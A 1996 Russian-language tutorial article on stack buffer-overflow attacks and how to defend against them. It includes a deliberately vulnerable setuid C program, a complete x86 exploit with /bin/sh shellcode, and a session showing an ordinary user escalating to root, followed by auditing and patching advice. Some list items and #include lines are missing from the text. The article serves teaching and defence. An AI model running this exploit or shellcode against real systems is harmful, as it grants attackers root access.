Оригинал этого документа расположен на
http://www.tversu.ac.ru/wdl/articles/overflows.html

НАЙТИ, ПРОВЕРИТЬ И ОБЕЗВРЕДИТЬ


Вадим Колонцов

Предотвращение различного рода атак, которым подвергаются современные компьютерные системы - настолько объемная тема, что часто, стремясь охватить ее полностью, многие публикации получаются излишне обобщенными, без конкретных рекомендаций по выявлению, проверке и обезвреживанию хакерских атак. Предлагаемая статья имеет целью заполнить этот пробел и посвящена детальному обсуждению часто очень малопонятных атак из класса "buffer-overflow" и методам защиты от них. Речь пойдет об одной из технологий, которая сегодня используется все чаще и требует для борьбы с ней понимания работы системы и навыков программирования, лишний раз показывая, что культура программирования - вопрос не только стиля, но и безопасности. Статья ориентирована на администраторов и программистов, предпочитающих не только знать ответ на вопрос "как?", но и на вопрос "почему?".


Итак...

Если вы когда-нибудь программировали на Cи или Паскале, то сталкивалась с ошибками типа "Memory fault - core dumped" или "General Protection Fault". Как правило, эти происходит, если программа попыталась получить доступ к не принадлежащей ей области памяти. Это довольно часто случается, если программист забыл, например, проверить размеры строки, заносимой в буфер, и остаток строки "въехал" в какие-то другие данные или даже в код. В защищенном режиме программа-монитор или ядро операционной системы может контролировать попытки доступа к "чужой памяти" и завершать нарушившую правила программу. Одни операционные системы делают эту лучше - UNIX, другие оболочки - хуже (Windows), а такие, как MS DOS, вообще не умеют ничего подобного и лишь банально зависают.

Часто такие ошибки проявляются не сразу. Предположим, программист считает, что 1024 байта, которые он выделил под временный буфер будет вполне достаточно во всех случаев. Хорошо, если это так. Но, как показывает опыт, это допущение представляет собой потенциально слабое место в программе, которое обязательно даст о себе знать. Хорошо, если программа работает в однопользовательской ОС - как максимум, сбой приведет к зависанию компьютера; но в многопользовательской, и, тем более, сетевой ОС, последствия могут быть более серьезными - маленькое "допущение" способно разрушить всю систему безопасности сети, которую администратор так старательно возводил.

Самое плохое, что эти "допущения" молчат о себе достаточно долгое время, никак не проявляясь, а часто обнаруживают себя, лишь попавшись на глаза хакеру. Преувеличение? Нет. Известный вирус Морриса, поразивший в свое время тысячи компьютеров, использовал, в частности, этот алгоритм для проникновения в защищенные системы. А простое наблюдение за событиями, происходящими сегодня в области безопасности дает все основания считать, что идет целая волна "buffer-overflow exploits" - общее название для программ, которые для прорыва в систему и/или для получения привилегий суперпользователя используют неточности в контроле размеров строк и буферов.

Для того, чтобы понять механизм работы, мы будем использовать простую программу под названием "rabbit.c":

#include 
#include 

void process(char *str)
{
  char buffer[256];

  strcpy(buffer, str);
  printf("Длина строки = %d\n", strlen(buffer));
  return;
}

void main(int argc, char *argv[])
{
  if (argc == 2)
    process(argv[1]);
  else
    printf("Usage: %s some_string\n", argv[0]);
}

Подобные фрагменты программ, в которых функция принимает строку как один из нескольких аргументов, имеет локальный буфер ограниченного размера, использует вызовы типа strcpy() или sprintf(), можно встретить в большом количестве программ.

Разберемся в деталях, как в большинстве случаев происходит вызов функции process(). Итак, стек (будем считать, что он растет вверх) перед вызовом функции выглядит следующим образом:

|. . . |  (область младших адресов)
|      |
|------|  <== Указатель верхушки стека
|XXXXXX|
|XXXXXX|  Использованная часть стека
|XXXXXX|
|. . . |  (область старших адресов)
Параметры функции передаются через стек - туда заносятся указатели на параметры или сами параметры (в нашем случае это один указатель на строку), а вызванная функция извлекает их оттуда. Естественно, всем этим занимается код, сгенерированный компилятором - программист не принимает участия в этом процессе. После того, как параметры занесены в стек, а процессор встречает инструкцию вызова функции он заносит в стек некоторую информацию о текущем состоянии - как правило, это смещение следующей после команды вызова. Таким образом, функция, завершив свою работу, будет знать адрес возврата управления. В результате, во время выполнения первой строки функции стек имеет следующий вид:
|. . . |  (область младших адресов)
|      |
|------|  <== Указатель на верхушку стека
|RETADR|  <== Адрес возврата
|PARAMS|  <== Параметры функции
|XXXXXX|
|XXXXXX|  Использованная часть стека
|XXXXXX|
|. . . |  (область старших адресов)
Что происходит дальше? Функции надо запомнить указатель на текущую верхушку стека (BP), который будет использоваться в ссылке на параметры. Поэтому выполняются следующие две инструкции (в качестве примера рассмотрим семейство x86):
    push bp
    mov  bp,sp
Теперь в верхушке стека лежит предыдущее значение регистра BP, а сам он указывает на верхушку стека и может быть использован в качестве базового регистра при ссылке на параметры.

В программе был объявлен размер буфера в 256 байт. Поскольку не использовались функции malloc() или new для выделения требуемого объема памяти, и не указывался модификатор "static", этот буфер будет зарезервирован в стеке. После всех этих операций стек имеет следующий вид:

|. . . |  (область младших адресов)
|      |
|------|  <== Верхушка стека
|??????|  <== Начало зарезервированного буфера
|??????|   . . .
|??????|  <== Конец буфера
|OLD BP|  <== Старое значение регистра BP
|RETADR|  <== Адрес возврата
|PARAMS|  <== Параметры
|XXXXXX|
|XXXXXX|  Некая уже занятая часть стека
|XXXXXX|
|. . . |  (область старших адресов)
После всего этого программа работает прекрасно, пока дело не доходит до вызова функции "strcpy()". Если длина строки меньше или равна длине буфера, то все пройдет хорошо, функция отработает, освободит зарезервированное пространство, восстановит регистр BP, и, наконец, вернет управление программе, которая очистит стек от переданных параметров.

Что же произойдет, если длина строки будет больше размера буфера? Поскольку strcpy() копирует все символы, пока не встретит код конца строки - "0", часть строки затрет верхнюю часть стека и, естественно, может испортить поле RETADR. Впрочем, это станет заметно не сразу - все будет работать великолепно, пока дело не дойдет до вызова return(). Управление будет передано по адресу, который хранится в поле RETADR, но поскольку адрес испорчен, выполнение программы продолжится в некой точке адресного пространства, отличающейся от точки вызова. Вот в этом-то месте и произойдет исключительная ситуация и программа будет аварийно прервана, поскольку маловероятно, чтобы адрес возврата указывал на какой-то осмысленной код, причем находящийся в области памяти данной программы.

Однако, это оказывается возможным, если кто-то специально хотел вызвать подобную ситуацию. Ведь что мешает в качестве аргумента функции передать строку специально подобранной длины, так, что бы она содержала некоторый машинный код, причем при затирании верхушки стека в поле REDADR попадал адрес именно этого кода? После отработки функции return() управление получит новый фрагмент, что совсем не предусматривалось автором программы. Ну а этот фрагмент уже сможет выполнить произвольную операцию, обращаясь к сервису операционной системы.

Как же будет выглядеть стек после вызова strcpy()?

   |. . . |  (область младших адресов)
   |      |
   |------|  <== Верхушка стека
+->|!!!!!!|
|  |!!!!!!|  <== Машинный код хакера
|  |!!!!!!|
|  |OLD BP| <== Старое значение регистра BP (испорченное, но это уже неважно)
+--|RETADR|  <== Адрес возврата (исправленный)
   |PARAMS|  <== Параметры
   |XXXXXX|
   |XXXXXX|  Некая уже занятая часть стека
   |XXXXXX|
   |. . . |  (область старших адресов)
Как создается такой машинный код? Во-первых, стоит выяснить примерный адрес верхушки стека на данной машине при вызове функций, чтобы корректно сформировать адрес возврата, который попадет в поле RETADR. Как правило это делается программой exploit с помощью вызова пустой функции, возвращающей в качестве параметра значение верхушки стека. Во-вторых, фрагмент должен быть написан таким образом, чтобы не содержать символа 0, который будет расценен, как конец строки - этим символом код будет заканчиваться. Конечно, он попадет при копировании в область параметров, но хакера это, как и испорченный регистр BP, не волнует - главное, управление будет передано на чужеродный фрагмент. В-третьих, точно должны быть рассчитаны размеры буфера, чтобы все попало в нужные места и не вызвало обычного core dump, должны быть учитаны размеры других переменных, стоящих между буфером и RETADR. И, наконец, в-четвертых - хакер должен уметь вызывать функции операционной системы.

Хотя задача кажется довольно нетривиальной, в ней нет ничего сложного для программиста, знающего систему. Например, подобный код для Linux, BSD-family, а также ОС Solaris, вызывающий /bin/sh и легко подстраиваемый под конкретные размеры буфера, довольно широко гуляет по Internet и может быть использован для обнаружения хакером новой дырки в программах. А это обнаружение требует лишь терпения, ибо в Internet доступны исходные тексты огромного количества программ и утилит - даже коммерческого Solaris.

Программа exploit.c (х86), демонстрирующая, как можно воспользоваться неточностью, допущенной в тестовом примере rabbit.c.


#include 
#include 

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             256
#define SKIP_VARS               4

/* Получить указатель на стек */
long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   char *ptr = NULL;
   int i;

   /* Данный фрагмент выполняет вызов /bin/sh */
   char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07"
                      "\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b"
                      "\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8"
                      "\xff\xff\xff/bin/sh\x01\x01\x01\x01\x02\x02\x02\x02"
                      "\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";


   /* Выделяем память */
   buff = malloc(BUFFER_SIZE+16);
   if(!buff)
   {
      perror("Can't allocate memory");
      exit(0);
   }
   ptr = buff;

   /* Заполняем начало строки кодами команды NOP ("нет операции") */
   for (i=0; i < BUFFER_SIZE-strlen(execshell); i++)
     *(ptr++) = 0x90;

   /* Теперь копируем в строку машинный код */
   for (i=0; i < strlen(execshell); i++)
      *(ptr++) = execshell[i];

   /* Пропускаем все, что лежит между буфером и адресом возврата */
   for (i=0; i < SKIP_VARS; i++)
     *(ptr++) = 0x90;

   /* Записываем адрес возврата */
   *(long *)ptr = get_esp() + DEFAULT_OFFSET;
   ptr += 4;

   /* Завершающий 0 */
   *ptr = 0;

   /* Вызов программы с сформированной строкой в качестве аргумента */
   printf("%s\n", buff);
   execl("./rabbit", "rabbit", buff, NULL);
}
Пример компиляции и выполнения:
# id
uid=0(root) gid=0(wheel)
# gcc -o rabbit rabbit.c
# chmod u+s rabbit
# ls -l rabbit                          -- Итак, rabbit - root-setuid
-rwsr-xr-x  1 root  wheel  12288 Jan  1 00:01 rabbit
# su user
$ id
uid=200 (user), group = 200 (users)     -- Я - обычный пользователь
$ ./rabbit test                         -- Программа работает нормально...
Длина строки = 4
$ gcc -o exploit exploit.c              -- Подготавливаемся...
$ ./exploit                             -- Запускаем exploit, а тот
Длина строки = 264                      -- запускает rabbit
# id
uid=200(root) gid=200(users) euid=0(root) -- Оп-ля, я суперпользователь!

Можно возразить, что существуют гораздо более простые способы проникновения в систему, чем упомянутый. Не совсем так. Более простые способы часто не работают, поскольку широко известны; в данном же случае имеет место гораздо более малоизвестная ситуация. Кроме этого, существует слишком большое количество программ с описанными ошибками, которые мгновенно превращаются в лазейки для хакера. Ведь данная проблема не относится к типу "дырок" в sendmail, которые закрываются раз и навсегда, а представляет собой уже некую технологию, которая может использоваться достаточно часто.

Главная же проблема заключается в глобальности - ведь программа не обращается к системным ресурсам. К стеку обращается программа пользователя, причем не к системному стеку, а к своему, что вполне естественно. Кроме того, нужно еще поискать ОС, которая проверяет, затирает ли записываемая в стек строка его верхушку. Это дело либо программиста и/или компилятора. На уровне ОС это невозможно детектировать, так как нарушения защиты не происходит - программа не выходит за пределы стека или сегмента.

Таким образом, метод работает везде, где

Как известно, этим требованиям удовлетворяют практически все операционные системы - именно поэтому проблема является столь глобальной.

В программе rdist из BSD в одном из вызовов отсутствовала проверка на размер параметра, передаваемой из командной строки. Существует программа, которая формирует требуемый код и вызывает /usr/bin/rdist, передавая код в качестве параметра. Поскольку rdist выполняется с привилегиями суперпользователя (setuid bit), переданный код также выполнялся с привилегиями root и в распоряжении хакера оказывался shell с правами root.

В одной из версий POP-сервера проверка длины строки присутствовала, но не была до конца корректной - не отлавливалось переполнение при вызове sprintf(). Что это означает? Была написана программа, которая соединялась с 110-м портом (pop3-сервис) и передавала ему сформированный код, после чего pop-сервер сообщал о неверной команде sprintf() и "вываливался" в shell после return(), причем с правами суперпользователя root. Причем в данном случае хакеру даже не требовалось иметь свой раздел на машине, чтобы прорваться на нее, да еще и с правами root.

Пресловутый вирус Морриса использовал аналогичную неточность в широко распространенной программе finger, и доказал свою работоспособность, разойдясь за несколько часов на огромное количество компьютеров в научных и военных сетях США.

Программы, написанные под X-Window, как правило, передают параметр "-display " на обработку X-библиотеке. Плохо, что в XFree86 размеры displayname не проверяются, и уже доступен код для получения root-привилегий через /usr/X11R6/bin/xterm. Но еще хуже, что код Xlib используется практически во всех X-программах.

Совсем недавно в списке рассылки freebsd-security была опубликована информация о ошибке - отсутствие проверки размера буфера - в подсистеме печати, являющейся фактическим стандартом и использующейся во всех семействах BSD, SunOS, а также входящей в состав остальных операционных систем (для совместимости). Безусловно, рано или поздно эта ошибка будет исправлена, но сколько проблем могут возникнуть до этого момента?

Очень жаль, что в последнее время примеры exploit-кода стали широко доступны, и часто человеку (далеко не системному программисту), заметившему неточность в программе, достаточно подкорректировать лишь несколько переменных (типа BUFFER_SIZE, SKIP_VARS) для получения работающей программы-бандита.

Политика администратора по безопасности может кратко охарактеризоваться всего двумя лозунгами: "предотвращай" и "оперативно реагируй".

Несмотря на то, что сегодня существует большое количество клонов UNIX, рекомендации выглядят примерно одинаково для всех платформ, поскольку принципы используются одни и те же. Некоторые различия состоят в том, что семейство x86 изучено хакерами гораздо лучше, чем, например, Sparc или MIPS, а наличием доступных исходных текстов могут похвастаться далеко не все операционные системы. Отсутствие текстов затрудняет как взлом системы, так и исправление ошибок и изучение ее работы - как всегда, любой факт в жизни программиста и администратора является палкой о двух концах.

Прежде всего, подразумевается, что уже выполнены все исправления в системе, информация о которых может быть получена у поставщика ОС. Однако пока успокаиваться рано - порой производители ОС сами не очень оперативно реагируют на обнаружение ошибок в их продуктах. Поэтому можно предложить еще несколько вариантов защиты от ошибок класса buffer-overflow exploits.

Вариант первый - если доступны исходные тексты и много свободного времени: в программах, выполняющихся с привилегиями суперпользователя (root setuid-программы; программы, вызывающиеся из inetd и т.д.) надо отыскать все вызовы функций strcpy, gets, sprintf а, возможно, других функций работы со строками, и проверить, не используются ли при этом локальные буферы фиксированной длины. Можно еще поискать константы типа BUFSIZ, PATH_MAX и др. Проанализировав текст, можно выполнить следующие действия:

  1. добавить проверки на длину строки
  2. заменить strcpy, gets, sprintf etc на их аналоги для фиксированной длины - strncpy, snprintf, fgets
  3. вместо фиксированных буферов использовать динамическое выделение памяти.
В качестве примера ошибочной программы можно привести rdist из BSD:
struct namelist * lookup(name, action, value)
        char *name;
        int action;
        struct namelist *value;
{
        register unsigned n;
        register char *cp;
        register struct syment *s;
        char buf[256];

        .  .  .
                        if (action != INSERT || s->s_type != CONST) {
        /* !!! */                  (void)sprintf(buf, "%s redefined", name);
                                yyerror(buf);
Проблема в том, что в buf фактически заносится аргумент из командной строки, длина которого не проверяется. Для того, чтобы избавиться от дырки, достаточно после строки, помеченной знаком "!!!", добавить следующий небольшой фрагмент (вместо простой диагностики может оказаться полезно добавить запись в файл отчета информации о происшедшем с указанием имени пользователя, вызвавшего rdist):
        if (action != INSERT || s->s_type != CONST) {
                if (strlen(name) > 240)
                {
                   printf("The something going on...\n");
                   exit(1);
                }
        (void)sprintf(buf, "%s redefined", name);
Вариант второй - исходных текстов нет: необходимо написать сценарий, который пытается вызвать проверяемую программу, используя различные параметры достаточно большой длины. Например, строка для проверки команды xterm может выглядеть как:
  /usr/bin/X11R6/xterm -display `perl '{print "A" x 5000;}'`:0
В качестве параметра формируется строка длиной в 5000 символов (как показывает практика, программисты часто используют константы BUFSIZ, FILENAME_MAX и т.д., определенные в /usr/include, а они, обычно не превышают 2048 байт. Изменяя число в строке и/или анализируя исходные тексты, можно уточнить размер буфера в программе.

Если результатом выполнения этой команды будет одинокая фраза типа: "Memory fault, core dump saved", то это означает, что имеется достаточно причин, чтобы:

Но не стоит думать, что все так просто. Часто трудно избежать полного анализа текста программы, ведь никто не мешает автору использовать следующую конструкцию:

for (char *temp=buffer;*buffer;buffer++) *temp++=*buffer;
А результат у нее тот же, что и у стандартной функции strcpy(). Да и метод передачи exploit-кода в программу может быть достаточно сложным. Например, для того, что бы воспользоваться дыркой в sendmail версии ниже чем 8.7.5, код передается в GECOS-поле, которое в семействе ОС BSD пользователь может менять с помощью программ chfn, chsh и chpass. Удобная, казалось бы, возможность: смена имени, информации о телефоне/офисе и плюс неточность в sendmail обернулись лазейкой для хакера.

Администратору рекомендуется подписаться на такие списки рассылки, посвященные UNIX security, как BUGTRAQ, BoS, WDL; на стандартные уведомления CERT (Computer Emergency Response Team), из которых можно оперативно узнать о проблеме и закрыть открывшуюся лазейку в системе. Более подробную информацию о списках рассылки по компьютерной безопасности можно почерпнуть на WDL WWW.

Несомненно, для того, чтобы обнаружить атаку, стоит периодически анализировать информацию, которую записывают программы в стандартные файлы отчетов (например /var/log/messages). К счастью, имеется большое количество программ, помогающих администратору следить за его сетью и выполнять заданные ежедневные проверки.

Если даже вы не работаете в UNIX то не следует успокаиваться. Откуда известно, что прикладная программа, тот же MS Word, корректно проверяет все поля в DOC-файле и не начнет в один прекрасный момент после загрузки документа форматировать жесткий диск? К сожалению, лишь очень тонкая преграда стоит на пути возможного появления вирусов подобного и заключается она малодоступности исходных текстов для продуктов под DOS/WIN, так что хакеру придется провести бессоные ночи перед отладчиком, разбираясь в работе программы.

Кроме этого, любой желающий может убедиться, что и в NT работает такой метод проникновения в систему, написав простейший пример. Пока на Internet нет программ exploit для NT, однако это дело времени, кроме этого схема системных вызовов в этой ОС пока еще не устоялась и постоянно подвергается изменению. Так что у NT все еще впереди.

Выход один - программисты должны сразу создавать надежные программы и отвечать за их работу. И уж как минимум, не использовать буферов и строк фиксированной длины, если нет твердой уверенности в том, что подобные фрагменты будут всегда корректно работать.

В качестве последнего совета программистам порекомендую почитать статью "Check list for writing secure Unix code" на уже упоминавшемся WDL WWW


Copyright © 1996 Vadim Kolontsov

Популярность: 22, Last-modified: Thu, 03 Jul 1997 07:35:41 GmT